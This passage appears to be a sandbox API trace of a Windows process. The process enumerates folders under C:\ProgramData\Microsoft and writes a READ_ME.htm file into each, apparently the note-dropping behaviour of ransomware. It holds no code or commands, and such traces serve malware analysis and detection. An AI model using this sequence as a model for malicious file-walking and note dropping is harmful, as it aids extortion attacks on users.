lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0139.423] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0 [0139.423] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.423] SetErrorMode (uMode=0x0) returned 0x1 [0139.423] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0139.423] SetErrorMode (uMode=0x1) returned 0x0 [0139.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.424] SetErrorMode (uMode=0x0) returned 0x1 [0139.424] GetFileType (hFile=0x1d0) returned 0x1 [0139.424] WriteFile (in: hFile=0x1d0, lpBuffer=0x289a228*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x289a228*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.426] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x26 [0139.426] SetErrorMode (uMode=0x1) returned 0x0 [0139.426] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38b98140, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x38b98140, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0139.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0139.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef190f0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1 [0139.427] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1 [0139.427] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 0 [0139.427] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.427] SetErrorMode (uMode=0x0) returned 0x1 [0139.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x26 [0139.427] SetErrorMode (uMode=0x1) returned 0x0 [0139.427] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38b98140, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x38b98140, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x5ef3f250, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef190f0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1 [0139.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5eef2f90, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x5eef2f90, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1001c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 0 [0139.428] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.428] SetErrorMode (uMode=0x0) returned 0x1 [0139.429] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData\\READ_ME.htm", lpFilePart=0x0) returned 0x32 [0139.429] SetErrorMode (uMode=0x1) returned 0x0 [0139.429] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.429] SetErrorMode (uMode=0x0) returned 0x1 [0139.430] GetFileType (hFile=0x1d0) returned 0x1 [0139.430] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a0a60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28a0a60*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.431] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x21 [0139.431] SetErrorMode (uMode=0x1) returned 0x0 [0139.431] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca3defb0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca3defb0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca4c37f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2515.tmp", cAlternateFileName="")) returned 1 [0139.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 1 [0139.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 0 [0139.432] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.432] SetErrorMode (uMode=0x0) returned 0x1 [0139.432] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x21 [0139.432] SetErrorMode (uMode=0x1) returned 0x0 [0139.433] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.433] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.433] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca3defb0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca3defb0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca4c37f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2515.tmp", cAlternateFileName="")) returned 1 [0139.433] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 1 [0139.433] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca666710, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca6d8b30, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql261F.tmp", cAlternateFileName="")) returned 0 [0139.433] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.433] SetErrorMode (uMode=0x0) returned 0x1 [0139.434] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0139.434] SetErrorMode (uMode=0x1) returned 0x0 [0139.434] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.434] SetErrorMode (uMode=0x0) returned 0x1 [0139.434] GetFileType (hFile=0x1d0) returned 0x1 [0139.434] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a6b90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28a6b90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.436] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0139.436] SetErrorMode (uMode=0x1) returned 0x0 [0139.436] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\rac\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.456] SetErrorMode (uMode=0x0) returned 0x1 [0139.456] GetFileType (hFile=0x1d0) returned 0x1 [0139.456] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ab100*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28ab100*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.469] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0139.469] SetErrorMode (uMode=0x1) returned 0x0 [0139.469] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*" (normalized: "c:\\programdata\\microsoft\\search\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0139.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0139.470] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.470] SetErrorMode (uMode=0x0) returned 0x1 [0139.470] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0139.471] SetErrorMode (uMode=0x1) returned 0x0 [0139.471] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*" (normalized: "c:\\programdata\\microsoft\\search\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0139.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x785eeb10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x785eeb10, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, 